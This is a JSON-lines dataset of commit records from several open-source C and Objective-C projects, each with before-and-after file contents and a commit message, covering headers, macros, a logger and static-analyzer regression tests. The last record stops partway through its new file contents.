{"commit":"a98d2b55c79a9959efd814bd9a316415ebc8dac8","old_file":"bin\/varnishtest\/vtc_h2_priv.h","new_file":"bin\/varnishtest\/vtc_h2_priv.h","old_contents":"#include \"vqueue.h\"\n\n#define ITER_DONE(iter) (iter->buf == iter->end ? hpk_done : hpk_more)\n\nstruct dynhdr {\n\tstruct hpk_hdr header;\n\tVTAILQ_ENTRY(dynhdr)      list;\n};\n\nVTAILQ_HEAD(dynamic_table,dynhdr);\n\nstruct hpk_iter {\n\tstruct hpk_ctx *ctx;\n\tchar *orig;\n\tchar *buf;\n\tchar *end;\n};\n\nconst struct txt * tbl_get_key(const struct hpk_ctx *ctx, uint32_t index);\n\nconst struct txt * tbl_get_value(const struct hpk_ctx *ctx, uint32_t index);\nvoid push_header (struct hpk_ctx *ctx, const struct hpk_hdr *h);\n","new_contents":"\/*-\n * Copyright (c) 2008-2016 Varnish Software AS\n * All rights reserved.\n *\n * Author: Guillaume Quintard <guillaume.quintard@gmail.com>\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\/\n\n#include \"vqueue.h\"\n\n#define ITER_DONE(iter) (iter->buf == iter->end ? hpk_done : hpk_more)\n\nstruct dynhdr {\n\tstruct hpk_hdr header;\n\tVTAILQ_ENTRY(dynhdr)      list;\n};\n\nVTAILQ_HEAD(dynamic_table,dynhdr);\n\nstruct hpk_iter {\n\tstruct hpk_ctx *ctx;\n\tchar *orig;\n\tchar *buf;\n\tchar *end;\n};\n\nconst struct txt * tbl_get_key(const struct hpk_ctx *ctx, uint32_t index);\n\nconst struct txt * tbl_get_value(const struct hpk_ctx *ctx, uint32_t index);\nvoid push_header (struct hpk_ctx *ctx, const struct hpk_hdr *h);\n","subject":"Add a copyright to this file","message":"Add a copyright to this file\n","lang":"C","license":"bsd-2-clause","repos":"gquintard\/Varnish-Cache,gquintard\/Varnish-Cache,gquintard\/Varnish-Cache,gquintard\/Varnish-Cache"}
{"commit":"f0b45d88d5e1c1737e75cdf4eceda4e5a01461b5","old_file":"include\/sys\/mman.h","new_file":"include\/sys\/mman.h","old_contents":"\/* \n * Copyright (C) 2014, Galois, Inc.\n * This sotware is distributed under a standard, three-clause BSD license.\n * Please see the file LICENSE, distributed with this software, for specific\n * terms and conditions.\n *\/\n#ifndef MINLIBC_MMAN_H\n#define MINLIBC_MMAN_H\n\n#include <sys\/types.h>\n\n#define PROT_NONE               0x0\n#define PROT_READ               0x1\n#define PROT_WRITE              0x2\n#define PROT_EXEC               0x4\n#define PROT_NOCACHE            0x8\n#define PROT_READWRITE          (PROT_READ | PROT_WRITE)\n\n#define MAP_ANON                0x20\n#define MAP_ANONYMOUS           0x20\n#define MAP_PRIVATE             0x02\n#define MAP_FAILED              ((void *) -1)\n\nvoid *mmap(void *start, size_t length, int prot, int flags, int fd, off_t off);\nint   munmap(void *start, size_t length);\nvoid *mremap(void *old_address, size_t old_size, size_t new_size, int flags);\nint   mprotect(void *addr, size_t len, int prot);\n\n#endif\n","new_contents":"\/* \n * Copyright (C) 2014, Galois, Inc.\n * This sotware is distributed under a standard, three-clause BSD license.\n * Please see the file LICENSE, distributed with this software, for specific\n * terms and conditions.\n *\/\n#ifndef MINLIBC_MMAN_H\n#define MINLIBC_MMAN_H\n\n#include <sys\/types.h>\n\n#define PROT_NONE               0x0\n#define PROT_READ               0x1\n#define PROT_WRITE              0x2\n#define PROT_EXEC               0x4\n#define PROT_NOCACHE            0x8\n#define PROT_READWRITE          (PROT_READ | PROT_WRITE)\n\n#define MAP_SHARED              0x01\n#define MAP_PRIVATE             0x02\n#define MAP_FIXED               0x10\n#define MAP_ANON                0x20\n#define MAP_ANONYMOUS           0x20\n#define MAP_FAILED              ((void *) -1)\n\n#define MS_ASYNC                1\n#define MS_INVALIDATE           2\n#define MS_SYNC                 4\n\n#define MADV_NORMAL             0\n#define MADV_RANDOM             1\n#define MADV_SEQUENTIAL         2\n#define MADV_WILLNEED           3\n#define MADV_DONTNEED           4\n\nvoid *mmap(void *start, size_t length, int prot, int flags, int fd, off_t off);\nint   munmap(void *start, size_t length);\nvoid *mremap(void *old_address, size_t old_size, size_t new_size, int flags);\nint   mprotect(void *addr, size_t len, int prot);\n\n#endif\n","subject":"Add more flags for mmap() to ignore.","message":"Add more flags for mmap() to ignore.\n","lang":"C","license":"bsd-3-clause","repos":"GaloisInc\/minlibc,GaloisInc\/minlibc"}
{"commit":"532931d29b6fb5e28f3aa3904f20b097014ab5e8","old_file":"include\/LoggerStream.h","new_file":"include\/LoggerStream.h","old_contents":"","new_contents":"\/\/ =============================================================================\n\/\/ Licensed under the MIT License <http:\/\/opensource.org\/licenses\/MIT>.\n\/\/ Copyright (c) 2017 Kevin T Qi\n\/\/\n\/\/ Permission is hereby  granted, free of charge, to any  person obtaining a copy\n\/\/ of this software and associated  documentation files (the \"Software\"), to deal\n\/\/ in the Software  without restriction, including without  limitation the rights\n\/\/ to  use, copy,  modify, merge,  publish, distribute,  sublicense, and\/or  sell\n\/\/ copies  of  the Software,  and  to  permit persons  to  whom  the Software  is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/ The above copyright notice and this permission notice shall be included in all\n\/\/ copies or substantial portions of the Software.\n\/\/ THE SOFTWARE  IS PROVIDED \"AS  IS\", WITHOUT WARRANTY  OF ANY KIND,  EXPRESS OR\n\/\/ IMPLIED,  INCLUDING BUT  NOT  LIMITED TO  THE  WARRANTIES OF  MERCHANTABILITY,\n\/\/ FITNESS FOR  A PARTICULAR PURPOSE AND  NONINFRINGEMENT. IN NO EVENT  SHALL THE\n\/\/ AUTHORS  OR COPYRIGHT  HOLDERS  BE  LIABLE FOR  ANY  CLAIM,  DAMAGES OR  OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF  CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE  OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\/\/ =============================================================================\n\n#pragma once\n\n#include \"LoggerSink.h\"\n#include <memory>\n#include <sstream>\n#include <string>\n#include <atomic>\n\nnamespace slogger {\n\nclass LoggerStreamFlush {\npublic:\n    static const LoggerStreamFlush &end() {\n        static LoggerStreamFlush instance;\n        return instance;\n    }\n};\n\nclass LoggerStream;\ntypedef std::shared_ptr<LoggerStream> LoggerStreamPtr;\n\nclass LoggerStream {\nprivate:\n    std::stringstream mLogStream;\n    ILoggerSinkPtr mSink;\n    std::atomic<bool> mInUse;\n\n    template<typename T> friend LoggerStreamPtr &operator<<(LoggerStreamPtr &logStrm, const T &value); \n    friend LoggerStreamPtr &operator<<(LoggerStreamPtr &logStrm, const LoggerStreamFlush &el);\n\n    void flush() {\n        if (mSink) {\n            mLogStream << std::endl;\n            mSink->flush(mLogStream.str());\n            mLogStream.clear();\n            mLogStream.str(\"\");\n            mInUse = false;\n        }\n    }\n\npublic:\n    LoggerStream(ILoggerSinkPtr sink = nullptr) : mSink(sink), mInUse(false) {\n    }\n    ~LoggerStream() {\n        mInUse = false;\n    }\n\n    bool inUse() {\n        return mInUse;\n    }\n};\n\ntemplate<typename T> inline LoggerStreamPtr &operator<<(LoggerStreamPtr &logStrm, const T &value) {\n     if (logStrm && logStrm->mSink) {\n        logStrm->mInUse = true;\n        logStrm->mLogStream << value;\n    }\n    return logStrm;  \n}\n\ninline LoggerStreamPtr &operator<<(LoggerStreamPtr &logStrm, const LoggerStreamFlush &el) {\n    if (logStrm && logStrm->mSink) {\n        logStrm->flush();\n    }\n    return logStrm;\n}\n\n} \/* namespace slogger *\/\n","subject":"Implement operator<< with template method","message":"Implement operator<< with template method\n","lang":"C","license":"mit","repos":"kevintqi\/stream-like-logger"}
{"commit":"672c11b41fe66f96a3f3c6b16f839c1edf66a384","old_file":"test\/CFrontend\/2005-04-09-ComplexOps.c","new_file":"test\/CFrontend\/2005-04-09-ComplexOps.c","old_contents":"\/\/ %llvmgcc %s -S -o -\n\n#include <math.h>\n#define I 1.0iF\n\ndouble __complex test(double X) { return ~-(X*I); }\n\n_Bool EQ(double __complex A, double __complex B) { return A == B; }\n_Bool NE(double __complex A, double __complex B) { return A != B; }\n","new_contents":"\/\/ RUN: %llvmgcc %s -S -o -\n\n#include <math.h>\n#define I 1.0iF\n\ndouble __complex test(double X) { return ~-(X*I); }\n\n_Bool EQ(double __complex A, double __complex B) { return A == B; }\n_Bool NE(double __complex A, double __complex B) { return A != B; }\n","subject":"Add the RUN: prefix to the start of the run line so this test doesn't fail. BTW .. isn't the date on this funky? We haven't reachec 2005-05-09 yet???","message":"Add the RUN: prefix to the start of the run line so this test doesn't fail.\nBTW .. isn't the date on this funky? We haven't reachec 2005-05-09 yet???\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@21432 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm"}
{"commit":"15378c98e1987964299a406232dc405a11c7a413","old_file":"trace.h","new_file":"trace.h","old_contents":"#ifndef _TRACE_H_\n#define _TRACE_H_\n#include <stdio.h>\n#include <errno.h>\n\n#define TRACE ERROR\n\n#define ERROR(fmt,arg...) \\\n  fprintf(stderr, \"%s: \"fmt, program_invocation_short_name, ##arg)\n\n#define FATAL(fmt,arg...) do { \\\n    ERROR(fmt, ##arg);         \\\n    exit(1);                   \\\n  } while (0)\n\n#endif\n","new_contents":"#ifndef _TRACE_H_\n#define _TRACE_H_\n#include <stdio.h>\n#include <errno.h>\n\n#ifdef DEBUG\n#define TRACE ERROR\n#else\n#define TRACE(fmt,arg...) ((void) 0)\n#endif\n\n#define ERROR(fmt,arg...) \\\n  fprintf(stderr, \"%s: \"fmt, program_invocation_short_name, ##arg)\n\n#define FATAL(fmt,arg...) do { \\\n    ERROR(fmt, ##arg);         \\\n    exit(1);                   \\\n  } while (0)\n\n#endif\n","subject":"Make TRACE depend on DEBUG.","message":"Make TRACE depend on DEBUG.\n","lang":"C","license":"lgpl-2.1","repos":"dimm0\/tacc_stats,sdsc\/xsede_stats,rtevans\/tacc_stats_old,ubccr\/tacc_stats,aaichsmn\/tacc_stats,TACC\/tacc_stats,dimm0\/tacc_stats,rtevans\/tacc_stats_old,sdsc\/xsede_stats,TACC\/tacc_stats,TACCProjects\/tacc_stats,dimm0\/tacc_stats,TACCProjects\/tacc_stats,TACCProjects\/tacc_stats,TACC\/tacc_stats,aaichsmn\/tacc_stats,ubccr\/tacc_stats,aaichsmn\/tacc_stats,ubccr\/tacc_stats,TACC\/tacc_stats,sdsc\/xsede_stats,sdsc\/xsede_stats,rtevans\/tacc_stats_old,dimm0\/tacc_stats,dimm0\/tacc_stats,ubccr\/tacc_stats,ubccr\/tacc_stats,aaichsmn\/tacc_stats,TACC\/tacc_stats,TACCProjects\/tacc_stats"}
{"commit":"3124e376b93054e742b6cd302e5c71bf8ccf2949","old_file":"tests\/regression\/15-deadlock\/14-missing-unlock.c","new_file":"tests\/regression\/15-deadlock\/14-missing-unlock.c","old_contents":"","new_contents":"\/\/ PARAM: --set ana.activated[+] deadlock --set ana.activated[+] threadJoins\n#include <pthread.h>\n\nint x;\npthread_mutex_t m1 = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t m2 = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t m3 = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t m4 = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t m5 = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *thread() {\n  pthread_mutex_lock(&m2);\n  pthread_mutex_lock(&m1);\n  \/\/ We forgot to unlock\n  \/\/ pthread_mutex_unlock(&m2);\n  pthread_mutex_unlock(&m1);\n\n  return NULL;\n}\n\nvoid *noOpThread() {\n  return NULL;\n}\n\nint main() {\n  pthread_t tid1;\n  pthread_t tid2;\n\n  pthread_create(&tid1, NULL, noOpThread, NULL);\n\n  pthread_create(&tid2, NULL, thread, NULL);\n  pthread_join(tid2,NULL);\n  pthread_mutex_lock(&m2); \/\/DEADLOCK\n\n  return 0;\n}\n","subject":"Add problematic example with missed must deadlock","message":"Add problematic example with missed must deadlock\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"2873c139d02d994834029349bc72b417108bad6c","old_file":"tests\/regression\/24-octagon\/17-problem-pointer.c","new_file":"tests\/regression\/24-octagon\/17-problem-pointer.c","old_contents":"void change(int *p) {\n    (*p)++;\n}\n\nint a;\nint main() {\n    a = 5;\n    int *p = &a;\n    change(p);\n    assert(a - 6 == 0);\n    return 0;\n}","new_contents":"\/\/ PARAM: --sets solver td3 --set ana.activated \"['base','threadid','threadflag','mallocWrapper','octApron']\"\nvoid change(int *p) {\n    (*p)++;\n}\n\nint a;\nint main() {\n    a = 5;\n    int *p = &a;\n    change(p);\n    assert(a - 6 == 0);\n    return 0;\n}","subject":"Add parameters to a test","message":"Add parameters to a test\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"45cc7865e4142582460218bed288d41d60428bb4","old_file":"src\/chrono_vehicle\/tracked_vehicle\/ChTrackSubsysDefs.h","new_file":"src\/chrono_vehicle\/tracked_vehicle\/ChTrackSubsysDefs.h","old_contents":"\/\/ =============================================================================\n\/\/ PROJECT CHRONO - http:\/\/projectchrono.org\n\/\/\n\/\/ Copyright (c) 2014 projectchrono.org\n\/\/ All right reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found\n\/\/ in the LICENSE file at the top level of the distribution and at\n\/\/ http:\/\/projectchrono.org\/license-chrono.txt.\n\/\/\n\/\/ =============================================================================\n\/\/ Authors: Radu Serban\n\/\/ =============================================================================\n\/\/\n\/\/ Various utility classes for tracked vehicle subsystems.\n\/\/\n\/\/ TODO: combine with ChSubsysDefs.h\n\/\/\n\/\/ =============================================================================\n\n#ifndef CH_TRACK_SUBSYS_DEFS_H\n#define CH_TRACK_SUBSYS_DEFS_H\n\nnamespace chrono {\nnamespace vehicle {\n\nnamespace TrackCollide {\nenum Enum {\n    NONE = 0,\n    SPROCKET_LEFT = 1 << 0,\n    SPROCKET_RIGHT = 1 << 1,\n    IDLER_LEFT = 1 << 2,\n    IDLER_RIGHT = 1 << 3,\n    WHEELS_LEFT = 1 << 4,\n    WHEELS_RIGHT = 1 << 5,\n    SHOES_LEFT = 1 << 6,\n    SHOES_RIGHT = 1 << 7\n};\n}\n\nnamespace TrackCollisionFamily {\nenum Enum { CHASSIS, IDLERS, WHEELS, SHOES };\n}\n\n}  \/\/ end namespace vehicle\n}  \/\/ end namespace chrono\n\n#endif\n","new_contents":"\/\/ =============================================================================\n\/\/ PROJECT CHRONO - http:\/\/projectchrono.org\n\/\/\n\/\/ Copyright (c) 2014 projectchrono.org\n\/\/ All right reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found\n\/\/ in the LICENSE file at the top level of the distribution and at\n\/\/ http:\/\/projectchrono.org\/license-chrono.txt.\n\/\/\n\/\/ =============================================================================\n\/\/ Authors: Radu Serban\n\/\/ =============================================================================\n\/\/\n\/\/ Various utility classes for tracked vehicle subsystems.\n\/\/\n\/\/ TODO: combine with ChSubsysDefs.h\n\/\/\n\/\/ =============================================================================\n\n#ifndef CH_TRACK_SUBSYS_DEFS_H\n#define CH_TRACK_SUBSYS_DEFS_H\n\nnamespace chrono {\nnamespace vehicle {\n\nnamespace TrackCollide {\nenum Enum {\n    NONE = 0,\n    SPROCKET_LEFT = 1 << 0,\n    SPROCKET_RIGHT = 1 << 1,\n    IDLER_LEFT = 1 << 2,\n    IDLER_RIGHT = 1 << 3,\n    WHEELS_LEFT = 1 << 4,\n    WHEELS_RIGHT = 1 << 5,\n    SHOES_LEFT = 1 << 6,\n    SHOES_RIGHT = 1 << 7,\n    ALL = 0xFFFF\n};\n}\n\nnamespace TrackCollisionFamily {\nenum Enum { CHASSIS, IDLERS, WHEELS, SHOES };\n}\n\n}  \/\/ end namespace vehicle\n}  \/\/ end namespace chrono\n\n#endif\n","subject":"Add enum constant TrackCollide::ALL with a value 0xFFFF.","message":"Add enum constant TrackCollide::ALL with a value 0xFFFF.\n\nThis allows statements such as:\n       vehicle.SetCollide(TrackCollide::ALL & ~TrackCollide::IDLER_RIGHT);\nto enable contact on all parts except the right idler wheel.\n","lang":"C","license":"bsd-3-clause","repos":"dariomangoni\/chrono,rserban\/chrono,armanpazouki\/chrono,amelmquist\/chrono,jcmadsen\/chrono,dariomangoni\/chrono,andrewseidl\/chrono,armanpazouki\/chrono,jcmadsen\/chrono,projectchrono\/chrono,rserban\/chrono,Milad-Rakhsha\/chrono,Milad-Rakhsha\/chrono,armanpazouki\/chrono,andrewseidl\/chrono,rserban\/chrono,jcmadsen\/chrono,rserban\/chrono,amelmquist\/chrono,amelmquist\/chrono,dariomangoni\/chrono,armanpazouki\/chrono,andrewseidl\/chrono,Milad-Rakhsha\/chrono,amelmquist\/chrono,projectchrono\/chrono,armanpazouki\/chrono,jcmadsen\/chrono,tjolsen\/chrono,amelmquist\/chrono,tjolsen\/chrono,rserban\/chrono,jcmadsen\/chrono,andrewseidl\/chrono,tjolsen\/chrono,projectchrono\/chrono,armanpazouki\/chrono,andrewseidl\/chrono,tjolsen\/chrono,rserban\/chrono,projectchrono\/chrono,projectchrono\/chrono,dariomangoni\/chrono,dariomangoni\/chrono,dariomangoni\/chrono,tjolsen\/chrono,Milad-Rakhsha\/chrono,projectchrono\/chrono,Milad-Rakhsha\/chrono,Milad-Rakhsha\/chrono,jcmadsen\/chrono,amelmquist\/chrono,rserban\/chrono,jcmadsen\/chrono"}
{"commit":"380587f16b04bf1ad24b8cfb7a105711e8e8ab62","old_file":"Source\/PKMacros.h","new_file":"Source\/PKMacros.h","old_contents":"\/\/\n\/\/  PKMacros.h\n\/\/  PKToolBox\n\/\/\n\/\/  Created by Pavel Kunc on 17\/07\/2013.\n\/\/  Copyright (c) 2013 PKToolBox. All rights reserved.\n\/\/\n\n#define PK_NIL_IF_NULL(obj) ((obj == [NSNull null]) ? nil : obj)\n#define PK_NULL_IF_NIL(obj) ((obj == nil) ? [NSNull null] : obj)\n\n#define PK_BOOL_TO_LOCALIZED_STRING(val) ((val == YES) ? NSLocalizedString(@\"Yes\", nil) : NSLocalizedString(@\"No\", nil))\n\n#define PK_IS_WIDESCREEN ( fabs( ( double )[ [ UIScreen mainScreen ] bounds ].size.height - ( double )568 ) < DBL_EPSILON )\n#define PK_IS_IPHONE ( UI_USER_INTERFACE_IDIOM() == UIUserInterfaceIdiomPhone )\n#define PK_IS_IPHONE_5 ( PK_IS_IPHONE && PK_IS_WIDESCREEN )\n\n#define PK_IS_IOS7 ( floor(NSFoundationVersionNumber) > NSFoundationVersionNumber_iOS_6_1 )\n\n","new_contents":"\/\/\n\/\/  PKMacros.h\n\/\/  PKToolBox\n\/\/\n\/\/  Created by Pavel Kunc on 17\/07\/2013.\n\/\/  Copyright (c) 2013 PKToolBox. All rights reserved.\n\/\/\n\n#pragma mark - Foundation\n\n#define PK_NIL_IF_NULL(obj) ((obj == (id)[NSNull null]) ? nil : obj)\n#define PK_NULL_IF_NIL(obj) ((obj == nil) ? [NSNull null] : obj)\n#define PK_DEFAULT_IF_NIL(obj,default) ((obj == nil) ? default : obj)\n\n#define PK_BOOL_TO_LOCALIZED_STRING(val) ((val == YES) ? NSLocalizedString(@\"Yes\", nil) : NSLocalizedString(@\"No\", nil))\n\n#define PK_DEGREES_TO_RADIANS(degrees) ( degrees * (M_PI \/ 180.0) )\n#define PK_RADIANS_TO_DEGREES(radians) ( radians * (180.0 \/ M_PI) )\n\n\n#pragma mark - UI related\n\n#define PK_IS_WIDESCREEN ( fabs( ( double )[ [ UIScreen mainScreen ] bounds ].size.height - ( double )568 ) < DBL_EPSILON )\n#define PK_IS_IPHONE ( UI_USER_INTERFACE_IDIOM() == UIUserInterfaceIdiomPhone )\n#define PK_IS_IPHONE_5 ( PK_IS_IPHONE && PK_IS_WIDESCREEN )\n\n#define PK_IS_IOS7 ( floor(NSFoundationVersionNumber) > NSFoundationVersionNumber_iOS_6_1 )\n\n\n","subject":"Fix warnings and reorganize file.","message":"Fix warnings and reorganize file.\n","lang":"C","license":"mit","repos":"prajput\/pkCode,pk\/pktoolbox,prajput\/pkCode,pk\/pktoolbox"}
{"commit":"ca4f57fdff9f6c875cd96335dc6d73206bcb8fce","old_file":"lua\/myprog.c","new_file":"lua\/myprog.c","old_contents":"#include <math.h>\n#include \"lua5.2\/lua.h\"\n#include \"lua5.2\/lauxlib.h\"\n\n\/\/ Functions exposed to Lua\nstatic int l_sin(lua_State *L)\n{\n    \/\/ Verify that the argument is a number\n    double d = luaL_checknumber(L, 1);\n    \/\/ Call the function, and return the result\n    lua_pushnumber(L, sin(d));\n    return 1;  \/\/ Single result\n}\n\nstatic int l_cos(lua_State *L) {\n    double d = luaL_checknumber(L, 1);\n    lua_pushnumber(L, cos(d));\n    return 1;\n}\n\nstatic int l_tan(lua_State *L) {\n    double d = luaL_checknumber(L, 1);\n    lua_pushnumber(L, tan(d));\n    return 1;\n}\n\nint main() {\n    \/\/ Setup Lua\n    lua_State *L = luaL_newstate();\n    luaL_openlibs(L);\n\n    \/\/ Expose the functions to Lua\n    lua_pushcfunction(L, l_sin);\n    lua_setglobal(L, \"lsin\");\n    lua_pushcfunction(L, l_cos);\n    lua_setglobal(L, \"lcos\");\n    lua_pushcfunction(L, l_tan);\n    lua_setglobal(L, \"ltan\");\n\n    \/\/ Load and run the debug file\n    luaL_dofile(L, \"debug.lua\");\n    printf(\"Done\\n\");\n    return 0;\n}\n","new_contents":"#include <math.h>\n#include \"lua5.2\/lua.h\"\n#include \"lua5.2\/lauxlib.h\"\n\n\/\/ Functions exposed to Lua\nstatic int l_sin(lua_State *L) {\n    double value_as_number = luaL_checknumber(L, 1);\n    \/\/ Call the function, and return the result\n    lua_pushnumber(L, sin(value_as_number));\n    return 1;  \/\/ Single result\n}\n\nstatic int l_cos(lua_State *L) {\n    double value_as_number = luaL_checknumber(L, 1);\n    lua_pushnumber(L, cos(value_as_number));\n    return 1;\n}\n\nstatic int l_tan(lua_State *L) {\n    double value_as_number = luaL_checknumber(L, 1);\n    lua_pushnumber(L, tan(value_as_number));\n    return 1;\n}\n\nint main() {\n    \/\/ Setup Lua\n    lua_State *L = luaL_newstate();\n    luaL_openlibs(L);\n\n    \/\/ Expose the functions to Lua\n    lua_pushcfunction(L, l_sin);\n    lua_setglobal(L, \"lsin\");\n    lua_pushcfunction(L, l_cos);\n    lua_setglobal(L, \"lcos\");\n    lua_pushcfunction(L, l_tan);\n    lua_setglobal(L, \"ltan\");\n\n    \/\/ Load and run the debug file\n    luaL_dofile(L, \"debug.lua\");\n    puts(\"Done\");\n    return 0;\n}\n","subject":"Change comment into descriptive variable name","message":"Change comment into descriptive variable name\n","lang":"C","license":"apache-2.0","repos":"dspinellis\/effective-debugging,dspinellis\/effective-debugging,dspinellis\/effective-debugging,dspinellis\/effective-debugging,dspinellis\/effective-debugging"}
{"commit":"45f62c1e3f74333affdeda3053630e78fcaa4aa1","old_file":"bibdesk\/BDSKSearchGroupViewController.h","new_file":"bibdesk\/BDSKSearchGroupViewController.h","old_contents":"","new_contents":"\/\/\n\/\/  BDSKSearchGroupViewController.h\n\/\/  Bibdesk\n\/\/\n\/\/  Created by Christiaan Hofman on 1\/2\/07.\n\/*\n This software is Copyright (c) 2007\n Christiaan Hofman. All rights reserved.\n \n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions\n are met:\n \n - Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n \n - Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the\n distribution.\n \n - Neither the name of Christiaan Hofman nor the names of any\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n \n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#import <Cocoa\/Cocoa.h>\n\n@class BDSKCollapsibleView, BDSKEdgeView, BDSKSearchGroup;\n\n@interface BDSKSearchGroupViewController : NSWindowController {\n    IBOutlet BDSKCollapsibleView *view;\n    IBOutlet BDSKEdgeView *edgeView;\n    IBOutlet NSSearchField *searchField;\n    IBOutlet NSButton *searchButton;\n    \n    BDSKSearchGroup *group;\n}\n\n- (NSView *)view;\n\n- (BDSKSearchGroup *)group;\n- (void)setGroup:(BDSKSearchGroup *)newGroup;\n\n- (IBAction)changeSearchTerm:(id)sender;\n- (IBAction)nextSearch:(id)sender;\n\n@end\n","subject":"Add new header file. (or: xcode is stupid)","message":"Add new header file. (or: xcode is stupid)\n\ngit-svn-id: cb3fc60f0f557b927b8032d8a94e869b6f9f230b@318 0fceea05-a30d-0410-8a8b-80ef821fb0a1\n","lang":"C","license":"bsd-3-clause","repos":"jasongrout\/skim,camillobruni\/skim,jasongrout\/skim,camillobruni\/skim,camillobruni\/skim,camillobruni\/skim"}
{"commit":"759f87259e5cfada2a9d84118e26d21d227e3718","old_file":"Portal\/Portal.h","new_file":"Portal\/Portal.h","old_contents":"\/\/\n\/\/  Portal.h\n\/\/  Portal\n\/\/\n\/\/  Created by Guido Marucci Blas on 3\/14\/17.\n\/\/  Copyright © 2017 Guido Marucci Blas. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for Portal.\nFOUNDATION_EXPORT double PortalVersionNumber;\n\n\/\/! Project version string for Portal.\nFOUNDATION_EXPORT const unsigned char PortalVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <Portal\/PublicHeader.h>\n\n\n#import <Portal\/YGLayout.h>\n#import <Portal\/UIView+Yoga.h>\n","new_contents":"\/\/\n\/\/  Portal.h\n\/\/  Portal\n\/\/\n\/\/  Created by Guido Marucci Blas on 3\/14\/17.\n\/\/  Copyright © 2017 Guido Marucci Blas. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for Portal.\nFOUNDATION_EXPORT double PortalVersionNumber;\n\n\/\/! Project version string for Portal.\nFOUNDATION_EXPORT const unsigned char PortalVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <Portal\/PublicHeader.h>\n\n#import 